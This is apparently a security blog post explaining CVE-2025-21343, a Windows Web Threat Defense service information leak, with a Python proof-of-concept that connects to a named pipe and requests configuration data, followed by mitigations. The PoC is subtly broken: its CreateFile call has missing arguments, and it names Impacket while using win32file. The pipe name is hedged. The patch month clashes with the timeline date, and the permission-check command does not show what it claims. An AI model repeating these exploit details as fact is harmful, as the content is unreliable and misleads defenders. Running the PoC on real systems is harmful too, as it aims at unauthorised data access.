CVE-2025-21343 - Windows Web Threat Defense User Service Information Disclosure Vulnerability – Explained, Exploited & Mitigated

In February 2025, Microsoft patched a significant flaw: CVE-2025-21343. This vulnerability affects the Windows Web Threat Defense User Service, shipping with recent versions of Windows 10 and Windows 11. However, users and IT teams remain confused about its real-world impact, the risk, and steps to secure systems.

This post will break down what CVE-2025-21343 is, include code snippets for understanding the flaw, link to Microsoft’s advisory, and explain in simple language how attackers might use—and how you can block—the info leak.

What is Windows Web Threat Defense User Service?

The Windows Web Threat Defense service helps Windows defend users from web-based malware and phishing by checking URLs and files. It runs in the background with certain privileges, providing network protection and integrating with Microsoft Defender.

What is the CVE-2025-21343 Vulnerability?

CVE-2025-21343 is an information disclosure vulnerability. It allows a local attacker to gain access to sensitive information from the Web Threat Defense User Service, which is supposed to be protected from standard user accounts.

Allows info exfiltration: Attackers can read certain protected data.

- Can lead to privilege escalation: By gathering sensitive info, attackers might chain this bug with others for further attacks.

Microsoft’s official advisory

- CVE-2025-21343 | Windows Web Threat Defense User Service Information Disclosure Vulnerability

How Does the Vulnerability Work?

At its core, the vulnerability is caused by improper access control. The Web Threat Defense User Service exposes certain named pipes or shared memory regions to all users, instead of only privileged services. Attackers can connect, send crafted requests, and receive sensitive data.

Component: Web Threat Defense User Service (WtdUserService.dll)

- Flaw: The service registers an IPC endpoint (commonly a named pipe such as \\.\pipe\WtdUserPipe) with permissive permissions, allowing any user to interact with it.
- Attack: A low-privileged user connects to the endpoint, sends a special request, and receives sensitive configuration, user data, or memory dumps.

Exploiting CVE-2025-21343: Proof-of-Concept (PoC)

*For educational purposes only. Do not use on unauthorized systems.*

Let’s see a simple example in Python, where an attacker uses the Impacket library to connect to a Windows named pipe and leak data:

Python Example

import win32file
import win32pipe

pipe_name = r'\\.\pipe\WtdUserPipe'

try:
    handle = win32file.CreateFile(
        pipe_name,
        win32file.GENERIC_READ | win32file.GENERIC_WRITE,
        , None,
        win32file.OPEN_EXISTING,
        , None
    )
    print("[+] Connected to Web Threat Defense User Service pipe")

    # Send a crafted message (may vary depending on service)
    win32file.WriteFile(handle, b"GET_CONF")
    
    # Receive response
    data = win32file.ReadFile(handle, 4096)
    print("[+] Received data: ", data[1])

    handle.close()
except Exception as e:
    print("[-] Could not connect to pipe:", e)

This script tries to connect to a known named pipe and send a simple request. A vulnerable system would reply with information not meant for standard users—such as configuration info, scan results, or user tokens.

*Note:* The actual exploitation may require reverse engineering the service's protocol.

Reconnaissance: Quicker enumeration of security settings and user posture.

- Privilege escalation: Combining this leak with another local bug (such as a privilege escalation flaw) may lead to full compromise.

PowerShell One-Liner to Check Pipe Permissions

Get-ChildItem -Path \\.\pipe\ | Where-Object { $_.Name -eq 'WtdUserPipe' } | Format-List *

Check the security descriptor. If non-administrators have read/write access, the system is likely still vulnerable.

1. Patch Immediately

Microsoft fixed this vulnerability in their February 2025 Patch Tuesday update. Update your system!

- Windows 10/11: Open Windows Update, check for the latest updates, and apply all security hotfixes.

2. Limit Service Exposure

Consider setting firewall rules or using endpoint security software to monitor unusual IPC connections.

3. Monitor for Suspicious Pipe Access

Deploy endpoint monitoring to alert on unauthorized or unusual pipe access.

References

- Microsoft CVE-2025-21343 Advisory
- Microsoft Patch Tuesday, February 2025 report
- Impacket Library for Python
- Windows Named Pipes Exposure: SANS Whitepaper

Conclusion

CVE-2025-21343 gives attackers a way to extract sensitive Windows security info with just local access and a bit of code. It’s a reminder that even non-remote bugs can put entire organizations at risk. Update your systems and monitor for exploit attempts—especially on shared and multi-user computers.

If you manage Windows systems, patch now and spread awareness. Attackers move fast, and vulnerable endpoints are already being scanned.


*Stay safe and keep patching! For more security breakdowns, follow this blog and check the references above.*

Timeline

Published on: 01/14/2025 18:16:00 UTC
Last modified on: 02/21/2025 20:28:56 UTC